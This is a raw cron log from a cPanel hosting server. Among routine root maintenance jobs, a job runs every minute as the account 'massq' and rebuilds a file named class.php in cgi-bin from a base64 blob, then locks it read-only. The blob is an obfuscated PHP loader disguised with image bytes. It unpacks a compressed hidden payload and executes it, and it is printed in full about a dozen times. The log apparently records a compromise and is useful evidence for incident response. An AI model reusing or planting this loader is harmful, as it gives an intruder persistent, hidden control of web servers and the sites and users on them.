Sep  8 21:15:01 server CROND[31205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:15:01 server CROND[31209]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 21:16:01 server CROND[32037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:16:01 server CROND[32038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:16:01 server CROND[32039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:17:01 server CROND[32425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:17:01 server CROND[32426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:17:01 server CROND[32427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:18:01 server CROND[459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:18:01 server CROND[460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:18:01 server CROND[461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:19:01 server CROND[916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:19:01 server CROND[917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:19:01 server CROND[918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:20:01 server CROND[1408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:20:02 server CROND[1410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:20:02 server CROND[1411]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:20:02 server CROND[1417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:20:02 server CROND[1418]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:20:02 server CROND[1422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:20:02 server CROND[1420]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:20:02 server CROND[1419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:20:02 server CROND[1421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:21:01 server CROND[2302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:21:01 server CROND[2303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:21:01 server CROND[2304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:22:01 server CROND[2728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:22:01 server CROND[2729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:22:01 server CROND[2730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:23:01 server CROND[3199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:23:01 server CROND[3200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:23:01 server CROND[3201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:24:01 server CROND[3580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:24:01 server CROND[3581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:24:01 server CROND[3582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:25:01 server CROND[3967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:25:01 server CROND[3971]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:25:01 server CROND[3974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:25:01 server CROND[3976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:25:01 server CROND[3978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:25:01 server CROND[3980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:25:01 server CROND[3977]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:26:01 server CROND[4796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:26:01 server CROND[4797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:26:01 server CROND[4798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:27:01 server CROND[5179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:27:01 server CROND[5178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:27:01 server CROND[5180]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:27:01 server CROND[5181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:28:01 server CROND[5673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
